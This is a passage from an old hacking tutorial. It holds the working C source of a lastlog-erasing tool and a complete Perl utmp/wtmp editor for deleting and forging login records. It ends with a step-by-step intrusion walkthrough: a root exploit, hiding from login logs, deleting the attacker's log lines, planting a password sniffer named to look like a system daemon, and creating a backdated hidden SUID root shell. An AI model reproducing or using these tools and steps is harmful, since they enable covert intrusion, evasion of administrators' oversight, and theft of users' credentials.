fp=-1,fd=-1,tot=0,cnt=0,n=0; struct lastlog utmp; unsigned char c; if (fp=open(file,O_RDONLY)) { fd=open("lastlog.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { if (host) if (strstr(utmp.ll_host,host)) tot++; else {cnt++;write(fd,&utmp,sizeof(struct lastlog));} if (name) { if (strcmp(utmp.ll_line,name)) {cnt++; write(fd,&utmp,sizeof(struct lastlog));} else { if (n>0) { n--;cnt++; write(fd,&utmp,sizeof(struct lastlog));} else { printinfo(&utmp); printf("Erase entry (y/n/f(astforward))? "); c='a'; while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); if (c=='f') { cnt++; write(fd,&utmp,sizeof(struct lastlog)); printf("Fast forward how many entries? "); scanf("%d",&n);} if (c=='n') { cnt++; write(fd,&utmp,sizeof(struct lastlog)); } if (c=='y') tot++; } } } } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod lastlog.tmp and copy over the original %s\n",file); } remnull(name) char *name; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct lastlog utmp; if (fp=open(file,O_RDONLY)) { fd=open("lastlog.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { if (utmp.ll_time) { cnt++; write(fd,&utmp,sizeof(struct lastlog)); } else tot++; } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod lastlog.tmp and copy over the original %s\n",file); } usage() { printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n"); printf("\t-h\tThis help\n"); printf("\t-f\tUse FILE instead of default\n"); printf("\t-a\tShow all entries found\n"); printf("\t-u\tShow all entries for USER\n"); printf("\t-b\tShow NULL entries\n"); printf("\t-e\tErase USER completely\n"); printf("\t-c\tErase all connections containing HOST\n"); printf("\t-z\tShow ZAP'd entries\n"); printf("\t-x\tAttempt to remove ZAP'd entries completely\n"); } ---------------------------------------------------------------- cut here A good perl script for editing utmp, wtmp, and checking processes. It will also let you insert lines in wtmp. So if you need to play you can add clinton.whitehouse.gov logging into port ttyp3 and show he stayed on the system for a few hours! Running 'check' will let you know if someone is on the system and not showing up in the utmp log. Admins like to hide the fact that they are online sometimes. This will allow you to see their connection. You must be root to run the script, and they need perl 5.003+ on thier system. After starting the script just type help. Here are some of the basic commands: starts by loading wtmp delete user username delete host hostanme write read wtmp delete user username delete host hostname write do help for the rest ... the best wtmp,wtmp editor around! Say thankyou i-e ;) -----------------------start of utmpman.pl #!/usr/bin/perl -w # # Variable defines. my($utmp_location) = "/var/run/utmp"; my($wtmp_location) = "/var/log/wtmp"; my($shells_location) = "/etc/shells"; my($ttybase) = "tty"; my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems. my($ttyports) = "012345657689abcfef"; # TTYports standard on most linux systems. # Global initializations. my($active_file) = ""; my(%entries) = {}; my(@cmdline) = (); my(@shells) = (); # Display banner. print "\nutmp Manager v0.8\n\n"; # Access check. die("utmpman :: You must be root to run this application!\n") unless ($> == 0); # Read in valid shells. if (defined($shells_location)) { open(SHELLFILE, "<$shells_location"); @shells = <SHELLFILE>; close(SHELLFILE); } # Process "basename" of each shell. @shells = map( { /([^\/\n]+)\n*$/; $1; } @shells); print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells)); readfile("$utmp_location"); print("\nutmpman: $active_file> "); while (<STDIN>) { process_cmd(split); print("\nutmpman: $active_file> "); } sub process_cmd { return if (!defined(@_)); my(@line) = map { lc($_) } @_; $_ = shift(@line); SWITCH: { /^check$/ && do { check_func(@line); last SWITCH; }; /^delete$/ && do { del_func(@line); last SWITCH; }; /^help$/ && do { help_func(); last SWITCH; }; /^insert$/ && do { ins_func(@line); last SWITCH; }; /^list$/ && do { list_func(@line); last SWITCH; }; /^read$/ && do { read_func(@line); last SWITCH; }; /^write$/ && do { write_func(@line); last SWITCH; }; /^quit|exit$/ && exit(0); # DEFAULT. print ("Invalid command.\n"); } } # HELP sub help_func { print << "EOM"; utmpManager Help ---------------- Note: - <n> is an argument. - [id=] is a token which expects a value as part of command (ie, insert id=p5 user=root 11/23/96). See the insert command. - A line is the full name to the tty port, ie ttyp0. - An id is the *unique* representation of the port (without the tty, etc), ie "p0" (for ttyp0). check - Perform user consistancy check. Use this to make sure that the data in utmp agrees with who is actually on the machine. This is useful in determining if a user is online with hidden ports, running nohup'd processes, or running iScreen. delete <x>-<y> - Delete entries #x to #y. delete host <host> - Delete *all* entries which match the substring <host>. delete line|id <line|id> - Delete entry containing <line> or <id>. insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime} - Insert an entry into utmp/wtmp files specifying any combination of id/line, type, username, host, connection time, and logoff time. (LogoffTime only valid for WTMP files.) list host <host> - List all entries matching the substring <host>. list line|id <line|id> - List all entries matching <line> or <id>. read utmp|wtmp|<filename> - Read entries from either default wtmp, default utmp, or an arbitrary filename. Note: arbitrary filenames MUST start with either "utmp" or "wtmp" to be used with this editor. Rename files *outside* of this editor if necessary. If read is executed without any arguments, it rereads the last given filename, which is displayed on the prompt. write {filename} - Write entries to file {filename}. If write is executed without any arguments, then entries will be written to the last given filename, which is displayed on the prompt. EOM } # DELETE sub del_func { my(@params) = @_; if (!push(@_)) { print("delete :: Not enough parameters. See \"help\" for syntax.\n"); return undef; } elsif ($params[0] =~ /host|user|id|line/) { del_by_data(@_); } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) { del_by_range($params[0]); } elsif ($params[0] =~ m/^(\d+)$/) { del_by_range("$1-$1"); } # Renumber list after delete operation. resync(); } sub del_by_range { my($range)=shift; $range =~ m/(\d+)*-(\d+)*/; my($lo, $hi, $count)=($1, $2, 0); $lo = 0 if (!defined($lo)); $hi = scalar(keys(%entries)) if (!defined($hi)); foreach (sort( { $a <=> $b } keys(%entries))) { if (($_ >= $lo) && ($_ <= $hi)) { delete($entries{$_}); $count++; } } print "$count entries deleted.\n"; } sub del_by_data { my($op, $data) = @_; my($count) = 0; if ((length($data) < 5) && ($op eq "host")) { print "Must specify at least 5 characters for delete hostmask.\n"; return undef; } elsif (((length($data) > 4) && ($op eq "id"))|| ((length($data) > 11) && ($op eq "line"))) { print "Invalid $op specified.\n"; return undef; } # Note: If we are deleting by user, then user must match, *exactly*! $data = "^" . pack("a8", $data) . "\$" if ($op eq "user"); foreach (sort( { $a <=> $b } keys(%entries))) { if (%{$entries{$_}}->{$op} =~ m/$data/i) { delete($entries{$_}); ++$count; } } if (!$count) { print "No $op entries matching $data.\n"; } else { print "$count entries deleted.\n"; } } # INSERT # Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]] # Date2 Time2 = DateTime2 => (see above) # user=<username> # host=<hostname> # id=<id> | line=<line> # # utmp: # insert {id=|line=} [type=] [user=] [host=] [DateTime] # wtmp: # insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2} sub ins_func { my(%cmdopt)={}; my($datetime1, $datetime2, $gmdate, $gmdate2); # Get random pid out of the way. $cmdopt{"pid"} = int(rand(32656)+100); $cmdopt{"addr"} = pack("a4", ""); # Get command options. foreach (@_) { if (/=/) { local($key, $value)=split(/=/); $cmdopt{$key} = $value; } else { if (!defined($datetime1)) { $datetime1 = $_; next; } if (!defined($datetime2)) { $datetime2 = $_ ; next; } print "insert :: Invalid options specified. Please see \"help\" for syntax.\n"; return undef; } } # Check for an illegal pair or illegal option. foreach (keys(%cmdopt)) { if (!(/^host|id|line|type|user|addr$/)) { print "insert :: Invalid options specified. Please see \"help\" for syntax.\n"; return undef; } if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) { print "insert :: LAST option only valid for utmp files.\n"; return undef; } } # Get date in seconds since 1970. $gmdate = SecsSince1970($datetime1); # Get ending date in seconds since 1970. $gmdate2 = SecsSince1970($datetime2) if (defined($datetime2)); if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) { print "insert :: Invalid date specified.\n"; return undef; } if (defined($gmdate2)) { if ($gmdate2 < $gmdate) { print "insert :: First date/time must be *later* than second date/time.\n"; return undef; } } if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) { print "insert :: Insert by LINE or ID only. Please do not specify both.\n"; return undef; } my($op); if (!defined($cmdopt{"id"})) { $cmdopt{"id"} = $cmdopt{"line"}; $op = "line"; if (!($cmdopt{"id"} =~ s/^$ttybase//)) { print "insert :: Invalid line specified.\n"; return undef; } } else { $cmdopt{"line"} = $ttybase . $cmdopt{"id"}; $op = "id"; } if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) { print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n"; return undef; } my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ? (pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op}; my($epos1, $npos1, $epos2, $npos2) = (); my($oldpos, $count)=("", 0); foreach (sort( { $a <=> $b } keys(%entries))) { if ($active_file =~ m!/*utmp[^/]*$!i) { # Handle utmp insertion by line insertion. if (%{$entries{$_}}->{$op} eq $searchdata) { printf ("insert :: $op $searchdata already exists at position $_\n"); # This needs to check every option in %cmdopt for defined or null. $count = 0; foreach (qw(user host time)) { if (defined($cmdopt{$_})) { $count++ if ($cmdopt{$_} ne ""); } } if (!$count) { printf ("insert :: No other data specified. Entry unchanged.\n"); return undef; } last; } } else { # Handle wtmp insertion by time position. (Messy) $epos1 = $oldpos if (defined($npos1) && !defined($epos1)); $npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate); last if (!defined($gmdate2) && defined($epos1)); $epos2 = $oldpos if (defined($npos2)); $npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2); last if (defined($epos2)); } $oldpos = $_; } # Set any unspecified defaults. $cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"}); $cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"}); $cmdopt{"type"} = 7 if !defined($cmdopt{"type"}); # Determine end of list insertion positions. (IE, dates entered are after # dates in wtmp file or line/id not found in utmp file. $epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1)); if (defined($datetime2)) { $epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2)); ++$epos2 if (defined($gmtime2) && !defined($npos1)); } # Parse insert data and insert entry. $epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1)); $epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2) if (defined($npos2) && defined($gmdate2)); # Insert first entry. $cmdopt{"time"} = $gmdate; @{$entries{$epos1}}{qw(type pid line id time user host addr)} = @{%cmdopt}{qw(type pid line id time user host addr)}; if (defined($epos2)) { $cmdopt{"user"} = pack("a8", ""); $cmdopt{"host"} = pack("a16",""); $cmdopt{"id"} = pack("a4", ""); $cmdopt{"time"} = $gmdate2; @{$entries{$epos2}}{qw(type pid line id time user host addr)} = @{%cmdopt}{qw(type pid line id time user host addr)}; } resync(); } # LIST sub list_func { my(@params) = @_; if (!push(@_) || ($params[0] eq "all")) { list_by_range("-"); return 0; } elsif ($params[0] =~ /^host|user|id|line$/) { list_by_data(@_); return 0; } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) { list_by_range($params[0]); return 0; } elsif ($params[0] =~ m/^(\d+)$/) { list_by_range("$1-$1"); return 0; } print ("list :: Error in parameters. See \"help\" for syntax.\n"); return undef; } sub list_by_data { my($op, $data) = @_; my($count) = 0; foreach (sort( {$a <=> $b} keys(%entries))) { if (%{$entries{$_}}->{$op} =~ m/$data/i) { list_entry($_); ++$count; } } print "No $op entries matching $data.\n" if (!$count); } sub list_by_range { my($range)=shift; $range =~ m/(\d+)*-(\d+)*/; my($lo, $hi)=($1, $2); $lo = 0 if (!defined($lo)); $hi = scalar(keys(%entries)) if (!defined($hi)); foreach (sort( { $a <=> $b } keys(%entries))) { if (($_ >= $lo) && ($_ <= $hi)) { list_entry($_); } } } sub list_entry { printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_); printf(" %s/%s", @{$entries{$_}}{qw(id line)}); printf(": %s ", %{$entries{$_}}->{"user"}) if (%{$entries{$_}}->{"user"} ne pack("a8", "")); printf("from %s", %{$entries{$_}}->{"host"}) if (%{$entries{$_}}->{"host"} ne pack("a16", "")); if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") { printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"})); } print ("\n"); printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"}) if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8",""))); } # <Silmaril> printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)}; # <Silmaril> now *that's* cool :-) # <Silmaril> should be like this: @{$v}{qw(time id line user host)} # <Silmaril> I had an extra -> in my first version. # # Or course, it's changed since then, but - "Thanks, Sil!" :) # # READ sub read_func { my($arg)=shift; $arg = $utmp_location if ($arg eq "utmp"); $arg = $wtmp_location if ($arg eq "wtmp"); $arg = $active_file if (!defined($arg)); if ($arg !~ m!/*[uw]tmp[^/]*$!) { print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n"); return undef; } readfile($arg); } # WRITE sub write_func { my($file)=shift; my($count)=0; $file = $active_file if (!defined($file)); if ($file !~ m!/*[uw]tmp[^/]*$!) { print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n"); return undef; } if (!open(OUTFILE, ">$file")) { print ("write :: Can't open $file for output.\n"); return undef; } binmode(OUTFILE); foreach (sort( { $a <=> $b } keys(%entries))) { printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4", @{$entries{$_}}{qw(type pid line id time user host addr)})); $count++; } print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n"); close(OUTFILE); } # CHECK sub check_func { if (push(@_)) { print "check :: Invalid options specified. Please see \"help\"\n"; return undef; } if ($active_file !~ m!/*utmp[^/]*$!) { print "check :: Command can only be run on utmp files.\n"; return undef; } # Build struct of ports containing port name, device num and owner. # Note: Test run in grepstr may *not* be portable for all Unix # types. Be forewarned! This was designed for Linux. # Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/ # should return the same as what you expect in "struct utmp->ut_id". my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$"; my(%ports) = {}; my($user, $rdev) = (); opendir(DEVDIR, "/dev"); my(@devfiles) = readdir(DEVDIR); @devfiles = grep(/$grepstr/, @devfiles); close(DEVDIR); foreach (@devfiles) { /^$ttybase([$ttyrange][$ttyports])$/; if (!defined($1)) { print "check :: Warning! Could not extract port ID from $_.\n"; } else { ($user, $rdev) = (stat("/dev/$_"))[4, 6]; $user = getpwuid($user); $ports{$1} = newport($_, $rdev, $user); } } # Check ownership of /dev ports. my(@logdev)=(); foreach (sort(keys(%ports))) { push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root"); } @logdev = sort(@logdev); # Check utmp (against ports detected as logged in); my(@logutmp)=(); foreach (sort( { $a <=> $b } keys(%entries))) { if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) && defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"})) { push(@logutmp, %{$entries{$_}}->{"id"}) if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) && ((%{$entries{$_}}->{"user"} ne pack("a8", "")) || ((%{$entries{$_}}->{"host"} ne pack("a16", "")) && (%{$entries{$_}}->{"id"} ne pack("a4", "")) && (%{$entries{$_}}->{"line"} ne pack("a12", "")) && (%{$entries{$_}}->{"pid"} > 0)))); } } @logutmp = sort(@logutmp); # Check PIDs (find processes with active port ids) opendir(PIDDIR, "/proc"); my(%processes) = {}; my(@portprocesses) = (); foreach (grep(/\d+/, readdir(PIDDIR))) { local($procdata, $cmdline); open(PROCFILE, "</proc/$_/stat"); $procdata = <PROCFILE>; close(PROCFILE); if (-e "/proc/$_/stat") { local($cmdline, $devnum, $portid); ($cmd, $devnum) = (split(/ /, $procdata))[1, 6]; # Remove surrouding () from command name. $cmd =~ s/[\(\)]//g; $portid = dev2id(\%ports, $devnum); if (defined($portid)) { push(@portprocesses, $portid) if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_)); $processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_)); } } } close(PIDDIR); # A port is *not* logged in if there is no dev entry for port, no utmp entry # and no active processes. my(@validshellports) = (); foreach (sort( { $a <=> $b} keys(%processes))) { push(@validshellports, %{$processes{$_}}->{"port"}) if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&& !defined(listpos(\@validshellports, %{$processes{$_}}->{"port"}))); } # Remove ports with valid shells from list of ports with active processes. my(@noshellports) = sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses)); @validshellports = sort(@validshellports); print "Ports with active /dev files: @logdev\n" if (defined(@logdev)); print "Ports with utmp entries: @logutmp\n" if (defined(@logutmp)); print "Ports with valid shells: @validshellports\n" if (defined(@validshellports)); print "Ports with active processes and *no* shells: @noshellports\n" if (defined(@noshellports)); } # GENERAL sub readfile { local($file); $file = shift; my($index)=1; my($buffer)=""; # Insure we have a clean hash table before we start reading in the file. foreach (keys(%entries)) { undef(%{$entries{$_}}); delete(${entries{$_}}); } open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n"); binmode(UTMPFILE); # 1/17/96, struct utmp is 56 bytes (54 according to addition! :P). while (read(UTMPFILE, $buffer, 56)) { $entries{$index++} = newutmp($buffer); } $active_file = $file; print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n"); close(UTMPFILE); } sub newutmp { my($newbuff) = shift; my($longaddr) = 0; $newnode = bless { "type" => undef, "pid" => undef, "line" => undef, "id" => undef, "time" => undef, "user" => undef, "host" => undef, "addr" => undef }, 'UTMPNODE'; @{$newnode}{qw(type pid line id time user host addr)}= unpack("i L a12 a4 L a8 a16 a4", $newbuff); return $newnode; } sub newport { $newnode = bless { "port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef, }, 'PORTNODE'; @{$newnode}{qw(port rdev owner)} = @_; return $newnode; } sub newproc { $newnode = bless { "cmd" => undef, "port" => undef, }, 'PROCNODE'; @{$newnode}{qw(cmd port)} = @_; return $newnode; } # Renumber hashes to default order. sub resync { my(%newhash) = (); my($count)=0; # Write ordered list in to temporary hash, deleting as we go. foreach (sort( {$a <=> $b} keys(%entries))) { $newhash{++$count} = $entries{$_}; delete($entries{$_}); } # Copy elements back in to original hash table. foreach (sort( {$a <=> $b} keys(%newhash))) { $entries{$_} = $newhash{$_}; } } sub longtodot4 { my($addr)=shift; return join(".", map( ord($_), split(//, $addr))); } sub dev2id { my($portlist, $rdev) = @_; foreach (sort(keys(%{$portlist}))) { return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev); } return undef; } sub listpos { my($arrayref, $search) = @_; my($count) = 0; $^W = 0; foreach (@{$arrayref}) { return $count if ($search eq ${$arrayref}[$count]); $count++; } $^W = 1; return undef; } ### DATE ROUTINES # The following code taken & modified from the Date::Manip package. # Here is his copyright: # ## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved. ## This program is free software; you can redistribute it and/or modify it ## under the same terms as Perl itself. sub SecsSince1970 { # Parse as mm/dd/[cc]yy[:hh:mm[:ss]] my($datetime) = shift; my($m,$d,$y,$h,$mn,$s) = (); # If date is not defined, then return local current date and time. return time() if (!defined($datetime)); $datetime =~ s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!; ($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6); $m--; # Finalize time components and check them. $y = (($y < 70) ? "20":"19" . $y) if (length($y)==2); # This checks for any *non-matched* portion of $datetime. If there is such # an animal, then there is illegal data specified. Also screens for undefined # components which HAVE to be in ANY valid date/time (ie, month, day, year). return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime)); # Set time components with unspecified values. $s = 0 if (!defined($s)); $mn = 0 if (!defined($mn)); $h = 0 if (!defined($h)); # Check for ranges. return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59)); # Begin conversion to seconds since 1/1/70. my($sec_now,$sec_70)=(); $sec_now=DaysSince999($m,$d,$y); return undef if (!defined($sec_now)); $sec_now--; $sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s; $sec_70 =30610224000; return ($sec_now-$sec_70); } sub DaysSince999 { my($m,$d,$y)=@_; my($Ny,$N4,$N100,$N400,$dayofyear,$days)=(); my($cc,$yy)=(); $y=~ /^(\d{2})(\d{2})$/; ($cc,$yy)=($1,$2); # Number of full years since Dec 31, 0999 $Ny=$y-1000; # Number of full 4th years (incl. 1000) since Dec 31, 0999 $N4=int(($Ny-1)/4)+1; $N4=0 if ($y==1000); # Number of full 100th years (incl. 1000) $N100=$cc-9; $N100-- if ($yy==0); # Number of full 400th years $N400=int(($N100+1)/4); # Check to insure that information returns a valid day of year. $dayofyear=dayofyear($m,$d,$y); return undef if (!defined($dayofyear)); # Compute day of year. $days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear; return $days; } sub dayofyear { my($m,$d,$y)=@_; my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31); my($daynum,$i)=(); $daysinmonth[1]=29 if (!($y % 4)); # Return error if we are given an invalid date. return undef if ($d > $daysinmonth[$m]); $daynum=0; for ($i=1; $i<$m; $i++) { $daynum += $daysinmonth[$i]; } $daynum += $d; return $daynum; } ## END DATE ROUTINES. # End of script. 0; --------------------- end of utmpman.pl ------------------------- Chapter VI Cleaning the log files ------------------------- ------------------------------ Section 6A A walk around a hacked system ------------------------------- I can't stress the importance of this enough! Clean, Clean!!!! In this section I will take you on the system first hand and show you some basics on what to look for, and on how to wipe your presence from the system. To start this lets logon a system: Here is the step by step through the basic process: ******----> see who is on the machine [/home/master]finger @victim.net [victim.net] No one logged on. ******----> good no one on, we will log on [/home/master]telnet victim.net Trying xxx.206.xx.140... Connected to victim.net. Escape character is '^]'. Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1 Kernel 1.2.13 on a i586 ns.victim.net login: jnsmith Password: Linux 1.2.13. You have new mail. ******----> Don't read his mail, you can cat all mail in /var/spool/mail and in each users /home/username/mail directory ******----> Check again to see if anyone is on [jnsmith@ns jnsmith]$ w 5:36am up 18 days, 8:23, 1 user, load average: 0.01, 0.00, 0.00 User tty login@ idle JCPU PCPU what jnsmith ttyp1 5:35am w ******----> Just me, lets get root and get lost in the utmp! [jnsmith@ns jnsmith]$ cd .term ******----> Nice directory to hide stuff ;) [jnsmith@ns .term]$ ./.u ******----> I had this already waiting, it was the umounc.c exploit Discovered and Coded by Bloodmask and Vio, Covin 1996 ******----> We are now root, lets use z2 to become invisible bash# z2 jnsmith Zap2! ******----> Let's see if we are still on ... bash# w 5:37am up 18 days, 8:24, 0 users, load average: 0.08, 0.02, 0.01 User tty login@ idle JCPU PCPU what ******----> Hmm. now there is no one on the system, i must have logged off ;) ******----> We know we are root, but lets check you you can see ... bash# whoami root bash# ******----> Yup, root .. What directory are we in? bash# pwd /home/jnsmith/.term ******----> Let's check the logs bash# cd /var/log ******----> most of the time in /var/adm, this box uses /var/log bash# grep dormroom * maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com ******----> Yup, the z2 took care of everything but this maillog ... bash# pico maillog ******----> in pico i did a ctrl w, and searched for dormroom then ctrl k to delete lines ******----> These were the lines deleted Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com bash# grep dormroom * ******----> Yup .. all clear ;) bash# w 5:41am up 18 days, 8:27, 0 users, load average: 0.00, 0.00, 0.00 User tty login@ idle JCPU PCPU what ******----> Yup .. all clear here too ;) ******----> Lets show you how you would use lled and wted if the grep would have shown something in those files bash# cd ~jnsmith/.term bash# lled bash# lled -c dormroom.playhouse Entries stored: 527 Entries removed: 0 Now chmod lastlog.tmp and copy over the original /var/log/lastlog ******----> Nothing in the lastlog bash# bash# wted -e jnsmith Entries stored: 254 Entries removed: 0 Now chmod wtmp.tmp and copy over the original /var/log/wtmp ******----> Nothing in the wtmp, both of these would have shown in the grep we just did in the /var/log (just showing you the commands) ******----> Lets do some sniffing ... bash# pico linsniffer.c ******----> I changed this line to tell where i want the log to go: #define TCPLOG "/tmp/.pinetemp.000" ******----> lets look at what is running to think of a name that looks almost like it belongs there bash# ps -aux root 143 0.0 0.0 84 0 ? SW Jan 10 0:01 (lpd) root 154 0.0 0.0 118 0 ? SW Jan 10 0:00 (smbd) root 163 0.0 0.5 76 176 ? S Jan 10 0:00 nmbd -D root 197 0.0 0.0 76 0 v03 SW Jan 10 0:00 (getty) root 198 0.0 0.0 76 0 v04 SW Jan 10 0:00 (getty) root 199 0.0 0.0 76 0 v05 SW Jan 10 0:00 (getty) root 200 0.0 0.0 76 0 v06 SW Jan 10 0:00 (getty) root 201 0.0 0.0 88 0 s00 SW Jan 10 0:00 (uugetty) root 209 0.0 0.2 35 76 ? S Jan 10 0:01 (update) root 210 0.0 0.3 35 124 ? S Jan 10 0:03 update (bdflush) root 10709 0.0 1.4 152 452 ? S Jan 27 0:10 httpd root 11111 0.0 1.4 152 452 ? S Jan 27 0:07 httpd root 14153 0.0 0.8 70 268 ? S Jan 16 0:03 ./inetd root 14307 0.0 4.7 1142 1484 ? S Jan 16 1:16 ./named root 14365 0.0 0.0 76 0 v02 SW Jan 16 0:00 (getty) root 17367 0.0 1.4 152 452 ? S 11:01 0:02 httpd ******----> lets compile it and name it nmb bash# gcc linsniffer.c -o nmb ******----> lets load it ... bash# nmb& [1] 22171 ******----> lets check the log file in /tmp bash# bash# cd /tmp bash# ls -al .pin* total 15691 -rw-rw-r-- 1 root jnsmith 0 Jan 29 05:50 .pinetemp.000 ******----> There it is, but we don't want our login to know about it! bash# chgrp root .pin* ******----> Lets look now .... bash# ls -al .pin* -rw-rw-r-- 1 root root 0 Jan 29 05:50 .pinttemp.000 bash# ******----> This is good, Lets make an SUID shell so we don't have to do this again. (check for MD5 or other programs in the cron) bash# cd /bin bash# ls -l sh lrwxrwxrwx 1 root root 4 Mar 1 1996 sh -> bash ******----> This is a sym link ... bash# ls -l bash -rwxr-xr-x 1 root root 299296 Nov 2 1995 bash ******----> here is the real file ... lets see what to name it that looks like it belongs bash# ls arch df ksh ping tar ash dmesg ln ps tcsh bash dnsdomainname login pwd true cat domainname ls red ttysnoops chgrp echo mail rm umount chmod ed mkdir rmdir uname chown false mknod sed vi cp findterm more setserial view cpio gunzip mount sh vim csh gzip mt stty zcat date hostname mv su zsh dd kill netstat sync ******----> How about a new command in linux, most admin's won't know the difference ;) We will call it findhost bash# cp bash findhost ******----> ok, now lets have a look at our new unix command ... bash# ls -l findhost -rwxr-xr-x 1 root jnsmith 299296 Jan 29 05:59 findhost ******----> We need to change the group owner, touch the file date, and make it SUID bash# chgrp root findhost bash# ls -l findhost -rwxr-xr-x 1 root root 299296 Jan 29 05:59 findhost bash# chmod +s findhost bash# ls -l findhost -rwsr-sr-x 1 root root 299296 Jan 29 05:59 findhost bash# touch -t 111312331995 findhost bash# ls -l findhost -rwsr-sr-x 1 root root 299296 Nov 13 1995 findhost bash# ls -l m* -rwxr-xr-x 1 root root 64400 Oct 31 1995 mail -rwxr-xr-x 1 root root 7689 Nov 2 1995 mkdir -rwxr-xr-x 1 root root 7001 Nov 2 1995 mknod -rwxr-xr-x 1 root root 20272 Nov 1 1995 more -rwsr-xr-x 1 root root 26192 Nov 1 1995 mount -rwxr-xr-x 1 root root 8381 Oct 31 1995 mt -rwxr-xr-x 1 root root 12753 Nov 2 1995 mv ******----> Now it looks like it belongs ... lets see if it gives us root, exit our current root shell.. bash# exit [jnsmith@ns .term]$ cd /bin [jnsmith@ns /bin]$ whoami jnsmith [jnsmith@ns /bin]$ findhost [jnsmith@ns /bin]# whoami root [jnsmith@ns /bin]# cd ******----> cd {enter} takes us back to our home dir [jnsmith@ns jnsmith]# ls mail [jnsmith@ns jnsmith]# echo + +>test [jnsmith@ns jnsmith]# ls -l total 2 drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail -rw-rw-r-- 1 root root 4 Jan 29 06:11 test ******----> See now we are uid=0 gid=0 [jnsmith@ns jnsmith]# rm test ******----> clean as we go ..... [jnsmith@ns jnsmith]# w 6:12am up 18 days, 8:58, 0 users, load average: 0.07, 0.02, 0.00 User tty login@ idle JCPU PCPU what ******----> Just making sure we are still alone .... [jnsmith@ns jnsmith]# ls -al /tmp/.p* total 15692 -rw-rw-r-- 1 root root 157 Jan 29 06:10 .pinttemp.000 ******----> were getting passwords already ;) [jnsmith@ns jnsmith]# ls -al total 32 drwxrwx--- 5 jnsmith jnsmith 1024 Jan 29 06:11 . drwxr-xr-x 33 root users 1024 Jan 22 16:53 .. -rw-r----- 1 jnsmith jnsmith 1126 Aug 23 1995 .Xdefaults lrwxrwxrwx 1 jnsmith jnsmith 9 Jan 1 21:40 .bash_history -> /dev/null -rw-r--r-- 1 root jnsmith 24 Jan 1 03:12 .bash_logout -rw-r--r-- 1 root jnsmith 220 Jan 1 03:12 .bash_profile -rw-r--r-- 1 root jnsmith 124 Jan 1 03:12 .bashrc -rw-rw-r-- 1 root jnsmith 5433 Jan 11 22:47 .pinerc drwxrwxr-x 2 jnsmith jnsmith 1024 Jan 29 06:22 .term drwxr-x--- 2 jnsmith jnsmith 1024 